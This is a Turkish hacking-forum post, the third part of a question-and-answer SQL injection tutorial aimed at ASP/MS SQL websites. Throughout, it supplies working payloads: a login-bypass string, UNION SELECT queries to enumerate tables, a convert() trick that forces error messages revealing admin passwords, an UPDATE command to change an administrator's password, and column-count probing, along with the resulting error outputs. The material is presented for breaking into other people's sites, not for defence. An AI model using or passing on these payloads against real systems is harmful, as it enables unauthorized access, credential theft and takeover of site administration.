SQL Enjection 3

cartman

Katılımcı Üye
28 Ara 2005
932
17
zBjk
S.A

Biraz uzun bir aradan sonra SQL enjeksiyonunun 3.bölümünü yayınlama fırsatını bulduk. Sorular hayli birikti ama akademiyle ilgili sorular hariç geri kalanları cevaplayacağız. 3. Bölümde daha çok sorulan sorular cevaplanacağı için, bu konudaki diğer teknikler ve önlemler sonraki bölümlere bırakılmıştır.



S1- " or "a"="a gibi şeyleri nereye yazacam?

C1- Form alanı olan, sorgunun yapıldığı herhangi bir yere. Mesela kullanıcı ismine, şifreye, ürün arama kıs**** vs.




S2 - UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- bunu nereye yazıcam?

C2 – Adres satırına... Verilen örneklerde olduğu gibi





S3- üstatlar bu hata ne anlama gelir? enjeksiyon edilmiş hangi satır olabilir? İşin içinden çıkamadım yardımcı olursanız sevinirim...

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string ’ ORDER BY rezkirin’.

/include/legercep_i.asp, line 17


C3- Aslında gayet açık, tablonun ismi ORDER BY. Ancak bu bir alışveriş sitesine ait olduğundan bu soruda detaya inmiyorum. Lütfen misyon dışında bildiklerinizi kullanmayın.





S4- Bu kodlar sadece asp sitelerinde mi çalışır yoksa php lerde de yer mi?

C4- SQL enjeksiyonu genel bir isimdir, bu nedenle sadece asp sitelerinde değil, php sitelerinde de çalışır.






S5 – O kadar uğraşmama rağmen SQL’e hata verdiremiyorum. Sorun ne?

C5 – Buradaki en büyük sıkıntılardan biri
https://tik.lat/BSr25 UNION SELECT TOP 1 password FROM admin_login where login_name=’enigma’--
tekniğinin her zaman işe yaramamasıdır. Hatırlayın, yukarıdaki örnekte biz stringi (yani düz yazıyı) nümerik değere dönüştürmeye çalışmış ve SQL’i hata vermeye zorlamıştık. Ama eğer şifre 1234 gibi nümerik bir değere sahipse ne olacak? O zaman yukarıdaki teknik işe yaramaz ve “sayfa bulunamadı” gibi bir hata mesajı ya da sayfası ile karşılaşırız.






S6- Peki o zaman bu sorunu nasıl aşacağız?

C6- SQL’i hata vermeye zorlamak için sadece rakam ya da string kullanmak yerine ikisinin karışı**** kullanacağız ve hata vermesini garantileyeceğiz. Mesela

https://tik.lat/MRpks UNION SELECT TOP 1 convert(int, password%2b’%20CyberWarrior’) FROM admin_login where login_name=’enigma’--

Burada yaptığımız şey istediğimiz tekstin sonuna + işareti (ASCII kod karşılığı 0x2b dir) ile boşluk(%20) ve CyberWarrior kelimesini ekledik. Böylece şifre 1234 olsa bile, biz 1234 CyberWarrior olarak sisteme gönderme yaptık ve “convert” fonksiyonunu kullanarak 1234 CyberWarrior ifadesini nümerik bir değere dönüştürmesini istedik. Böylece SQL’in şu tarz bir hata vermesini sağladık:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’1234 CyberWarrior’ to a column of data type int.
/index.asp, line 5

Böylece artık Enigma kullanıcı ismi ve 1234 şifresiyle sisteme girebiliriz.





S7- Daha önce verdiğim bir şifreyi ya da kullanıcı ismini değiştirebilirmiyim?

C7- Evet bu mümkün. Mesela şifremi değiştirmek için

https://tik.lat/e7F68 UPDATE ’adminlogin’ SET ’password’ = ’yenisifre’ WHERE loginname=’enigma’--

şeklinde bir komut girebilirim.





S8 - Acaba tırnak içerisindeki yerlerin hep aynı olma olasılığı varmıdır?Çünki her deneyişimde hepsi aynı çıkıyor ve hep aynı sütündaki hatayı gösteriyor.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/shoes/index.asp, line 105


C8- Burada kolon sayısında bir uyuşmazlık var. Bu nedenle de hep aynı hata mesajı geliyor. Bu olayı inceleyelim. Mesela senin SQL’e gönderdiğin sorgu şöyle olsun:

https://tik.lat/R1cVm UNION ALL SELECT 3 FROM SysObjects Where “n”

Senin yaptığın bu sorguya karşılık yukarıdaki hata geliyorsa, o zaman şunlardan birini dene.

https://tik.lat/64nbJ UNION ALL SELECT 3,3 FROM SysObjects Where “n”
https://tik.lat/dzb8s UNION ALL SELECT 3,3,3 FROM SysObjects Where “n”
https://tik.lat/LiIg2 UNION ALL SELECT 3,3,3,3 FROM SysObjects Where “n”


Eğer bir syntax (sözdizim) hatası bulursanız, işin zor kısmı bitmiş demektir. Geriye sadece daha önce anlatılan tablo isimlerini bulmak kalmıştır.


Not:Bu yazılanların hepsi Enigma dan alıntıdır.Kendisine teşekkürü bir borç biliriz
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.